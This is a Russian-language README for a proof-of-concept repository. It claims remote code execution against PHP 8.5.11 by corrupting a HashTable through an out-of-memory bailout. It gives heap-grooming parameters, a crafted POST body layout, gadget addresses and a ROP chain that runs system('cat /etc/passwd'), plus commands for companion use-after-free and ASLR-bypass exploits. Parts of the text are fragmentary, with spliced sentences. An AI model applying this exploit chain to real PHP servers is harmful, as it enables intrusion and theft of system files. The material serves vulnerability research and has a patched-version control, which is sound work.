
🤖 Нет, есть простой способ проэксплуатировать эту уязвимость! (написано вайб-кодингом, чтобы доказать свою точку зрения)
Воспроизводимый, не зависящий от приложения PoC удалённого выполнения кода против PHP
8.5.11 (рекомендации за октябрь 2026 года). Он превращает две рекомендации по
повреждению памяти в PHP 2026 года в system("cat /etc/passwd") без какого-либо кода приложения —
index.php жертвы просто выводит ok.
longjmp бросает наполовину построенный HashTable, оставляя
висячий bucket, который уничтожается при завершении работы. Это примитив RCE.Всё полностью воспроизводимо в контейнерах Podman. Подтверждённый сквозной
результат — ./exploits/cve-2026-109618-oom/rce.py, читающий /etc/passwd.
Когда в PHP заканчивается память, он вызывает zend_mm_safe_error() →
zend_error_noreturn() → zend_bailout() (longjmp). В 8.5.11 вставка в хеш-таблицу
не является отказоустойчивой при выделении памяти, поэтому OOM может развернуть стек с наполовину
изменённым HashTable.
Место повреждения — add_to_hash в _zend_hash_str_add_or_update_i()
(Zend/zend_hash.c:960):
add_to_hash:
idx = ht->nNumUsed++; /* (1) bumped first */
ht->nNumOfElements++; /* (2) bumped */
p = ht->arData + idx;
p->key = key = zend_string_init(str, len); /* (3) OOM -> zend_bailout */
Если копия ключа zend_string_init вызывает OOM, бакет p остаётся незаписанным
(key/h/val все устаревшие), но nNumUsed уже инкрементирован. При завершении
запроса zend_array_destroy() обходит nNumUsed бакетов и вызывает
i_zval_ptr_dtor(&p->val) для мусорного val незаписанного бакета — значения,
сформированного атакующим. Исправление в 8.5.12 заменяет каждое такое выделение
на варианты с обработкой ошибок (femalloc/fperealloc2 + HASH_FALLIBLE), чтобы
вставка корректно возвращала ошибку вместо аварийного завершения.
Эксплойт целиком посвящён тому, чтобы один контролируемый блок размером 2560 байт
стал arData для HashTable, последний бакет которого является OOM-бакетом. Значения,
которые пришлось балансировать, и почему:
| Тип / переменная | Размер | Роль |
|---|---|---|
Заголовок zend_array (HashTable) | 56 B | arData, nNumUsed, nTableSize, pDestructor |
Bucket | 32 B | val(16) + h(8) + key(8); незаписанный — наша цель |
zval | 16 B | value(8) + u1.type_info(4) + u2(4) — мы задаём type_info |
zend_string | 24 B заголовок + данные | значение-заполнитель; его длина выбирает бин аллокатора |
zend_object | 56 B | поддельный объект: gc(8) handle(4) ce(8) handlers(8) properties(8) |
zend_object_handlers | offset/free_obj/dtor_obj | free_obj — гаджет-переходник |
zend_mm_heap / zend_mm_chunk | — | free_slot[], free_tail, map[] (бин 28 = 2560 B) |
Два факта об аллокаторе, на которых держится весь feng-shui:
HT_SIZE_EX(64) = 64*32 бакетов + 128*4 хеша = 2560), потому что
HT_SIZE_TO_MASK(n) = -(2n).b150 (обходимый) и b0e0 (отбрасываемый) — две копии $_POST["a"],
созданные путём SEPARATE_ARRAY/косвенного доступа symtable; каждое поле
a[<large>][c]=v вставляет ключ <large> в обе, и b0e0 всегда на 1 ключ
впереди. Только b150 уничтожается при php_request_shutdown, поэтому OOM
должен произойти на b150.rce.py)Тело запроса — urlencoded POST:
memshift=<40 KB of M>&
a[X…0000000000000000][c]=v& … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v& … (fields 30..59)
memshift (~40 KB) потребляет ровно столько памяти, чтобы OOM сработал при
первой вставке поля OOM, то есть в b150 (обойдённую таблицу), а не
в отброшенный b0e0.pad=<2528 B>: add_post_var выполняет estrndup(A), затем
ZVAL_STRINGL_FAST(B, copy). Измерено B = padlen + 32, поэтому padlen=2528
даёт A = 2529 и B = 2560 — оба bin 28. A освобождается через
путь estrndup.pad=x (дублирующийся ключ) вызывает DTOR для сохранённой копии B, освобождая второй,
отдельный слот bin-28. Теперь изменение размера b150 с 32→64 переиспользует B — наши контролируемые
байты становятся arData для b150.zend_hash_rehash.IS_OBJECT со значением value.obj = &fake_object.i_zval_ptr_dtor → rc_dtor_func →
zend_objects_store_del → handlers->free_obj = pivot → ROP →
system("cat /etc/passwd > /var/www/html/leak.txt"); последующий
GET /leak.txt возвращает файл.Два тонких требования, которые стоили реального времени на отладку (оба в rce.py):
__libc_system использует movaps (выравнивание по 16 байт), поэтому между pop rdi; ret и system
вставляется дополнительный гаджет ret — иначе происходит SIGSEGV внутри
__libc_system до execve.setarch -R)Измерено на php-rce-oom-debug:8.5.11 (база php-rce-base:8.5.11). Базы
libphp/libc одинаковы во всех сборках на основе базы; смещение кучи B смещается
в зависимости от установленных библиотек (установка gdb сдвинула его), поэтому перемеряйте B для другого
образа или определяйте его через info-leak для включённого ASLR.
| Символ | Адрес |
|---|---|
| база libphp | 0x7ffff4400000 |
| база libc | 0x7ffff7cd4000 |
system | 0x7ffff7d20490 (libc+0x4c490) |
pop rdi; ret | 0x7ffff7cfb7e5 (libc+0x277e5) |
ret | 0x7ffff7cfb7e6 |
pivot (jump_fcontext+0x2e) | 0x7ffff49fb8ae |
основной чанк ([anon:zend_alloc]) | 0x7ffff7200000 |
B (сырой блок arData = b150->arData - 512) | 0x7ffff725e400 |
| фейковые handlers | B + 24 + 2000 = 0x7ffff725ebe8 |
| фейковый объект | B + 24 + 2048 = 0x7ffff725ec18 |
строка cmd | B + 24 + 2200 = 0x7ffff725ecb0 |
ROP-цепочка (относительно фейкового объекта, o):
o+0x40 pop rdi; ret (r8 loaded by the pivot)
o+0x48 &cmd (rdi)
o+0x50 ret (stack alignment for movaps)
o+0x58 system
Требуется Podman. Из корня репозитория:
# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build
# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up
# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084
Ожидаемый результат:
[+] RCE: read /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…
# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf
# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak
# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh